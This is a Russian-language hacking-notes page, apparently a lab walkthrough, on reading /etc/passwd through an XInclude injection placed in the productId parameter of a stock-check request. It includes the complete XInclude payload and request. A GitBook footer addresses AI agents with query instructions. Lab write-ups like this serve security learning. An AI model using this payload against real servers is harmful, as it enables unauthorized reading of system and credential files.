> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xxe/file-reading-with-xinclude.md).

# Чтение файлов с XInclude

### Использование XInclude для получения файлов

В лаборатории есть **Проверить наличие** функция, которая вставляет ввод, предоставленный пользователем, в XML-документ на стороне сервера, а затем выполняет сканирование. Вы не управляете всем XML-документом, поэтому невозможно определить DTD для классической XXE.

Используйте **XInclude** чтобы восстановить содержимое **/etc/passwd** файла, внедрив включение XInclude, которое будет обработано серверным парсером.

* Изначально отправленные параметры: `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* Проверьте: значение `productId` восстанавливается и анализируется сервером. Например `productId=test&storeId=1` интерпретируется и отражается.

```
productId=test&storeId=1
```

<figure><img src="/files/4c57cc1d37456382f4a97e5ae6c8e933afcdf350" alt=""><figcaption></figcaption></figure>

Внедрение включения XInclude в `productId` чтобы принудительно прочитать локальный файл.

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Пример отправленного параметра:

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

Парсер интерпретирует включение XInclude и интегрирует `/etc/passwd` содержимое в анализируемый документ — значение, переданное в `productId` обрабатывается, и файл читается.

<figure><img src="/files/6419be220d2ef6c9e578717961e43d408d6d3c49" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xxe/file-reading-with-xinclude.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
